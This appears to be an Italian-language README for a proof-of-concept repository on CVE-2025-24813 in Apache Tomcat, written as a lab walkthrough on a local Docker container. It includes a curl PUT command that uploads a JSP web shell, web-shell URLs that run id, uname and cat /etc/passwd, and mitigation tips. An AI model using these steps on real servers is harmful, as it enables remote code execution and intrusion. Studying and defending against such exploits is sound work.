🚨 CVE-2025-24813 – Exploit RCE JSP PUT di Apache Tomcat

Questo repository contiene una prova di concetto (PoC) completa per CVE-2025-24813, una vulnerabilità di esecuzione remota di codice (RCE) in Apache Tomcat che utilizza il metodo HTTP PUT per distribuire una web shell JSP dannosa.

🔥 Questo exploit dimostra come un attaccante possa ottenere RCE tramite upload di file ed esecuzione di payload in istanze Tomcat non adeguatamente protette.

📁 Struttura del Progetto

CVE-2025-24813/
├── docker/                         
│   ├── Dockerfile
│   └── web.xml                    
├── exploit/                        
│   ├── 1_exploit_cve_2025_24813.py
│   └── shell.jsp
├── screenshots/                    
│   ├── 1_tomcat_running.png
│   ├── 2_docker_started.png
│   ├── 3_upload_shell.png
│   ├── 4_run_python_exploit.png
│   ├── 5_access_shell_whoami.png
│   ├── 6_view_etc_passwd.png
│   ├── 7_run_uname.png
│   ├── 8_run_id.png
│   └── 9_run_pwd.png
├── .gitignore
├── LICENSE
└── README.md

🚀 Fasi dello Sfruttamento

1️⃣ Configurazione dell'Ambiente Docker

cd docker
sudo docker build -t cve-24813-tomcat .
sudo docker run -it -p 8080:8080 cve-24813-tomcat

📸
📸

2️⃣ Caricamento della Web Shell JSP Dannosa

curl -X PUT --upload-file exploit/shell.jsp http://localhost:8080/shell.jsp

📸

3️⃣ Esecuzione dell'Exploit Python

python3 exploit/1_exploit_cve_2025_24813.py

📸

4️⃣ Interazione con la Web Shell

http://localhost:8080/shell.jsp?cmd=id
http://localhost:8080/shell.jsp?cmd=uname -a
http://localhost:8080/shell.jsp?cmd=cat /etc/passwd

📸
📸
📸
📸
📸

🧩 Caratteristiche

• 🔧 Configurazione basata su Docker del server Apache Tomcat vulnerabile
• 📥 Abuso del metodo PUT per caricare e attivare web shell JSP
• 🐍 Script PoC basato su Python
• 📸 Guida completa basata su screenshot
• 📚 Ideale per simulazioni red team e scopi educativi

🛠️ Come Applicare la Patch (Mitigazione)

• 🚫 Disabilitare i metodi PUT/DELETE in web.xml o nella configurazione del server
• ⛓️ Utilizzare il security manager o controlli più rigorosi sul contenitore servlet
• 🔐 Applicare filtri di upload a livello di file e validazioni
• 🧱 Configurare un WAF per bloccare richieste PUT non autorizzate
• ✅ Aggiornare a una versione sicura e patchata di Apache Tomcat

⚠️ Disclaimer

Questo progetto ha esclusivamente scopi educativi e di ricerca. Testare, sfruttare o utilizzare vulnerabilità su sistemi di cui non si è proprietari o su cui non si ha autorizzazione è illegale e non etico.

👨‍💻 Autore

Shivshant Patil
Certified Ethical Hacker (CEH v13)
Laureato in Ingegneria Informatica (B.Tech)
🔗 LinkedIn
🔗 GitHub